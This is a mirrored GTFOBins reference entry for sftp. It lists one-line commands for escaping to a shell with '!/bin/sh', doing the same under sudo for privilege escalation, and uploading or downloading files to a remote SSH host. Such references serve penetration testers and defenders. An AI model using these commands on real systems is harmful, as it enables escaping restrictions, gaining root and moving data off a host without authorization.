1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 02:42:45 +02:00
GTFOBins.github.io/_gtfobins/sftp.md
Andrea Cardaci 67a480ccce Add sftp
2018-05-22 11:58:12 +02:00

547 B

functions
exec-interactive sudo-enabled upload download
code
HOST=user@10.0.0.1 sftp $HOST !/bin/sh
code
HOST=user@10.0.0.1 sudo sftp $HOST !/bin/sh
description code
Send local file to a SSH server. RHOST=user@10.0.0.1 sftp $RHOST put file_to_send where_to_save
description code
Fetch a remote file from a SSH server. RHOST=user@10.0.0.1 sftp $RHOST get file_to_get where_to_save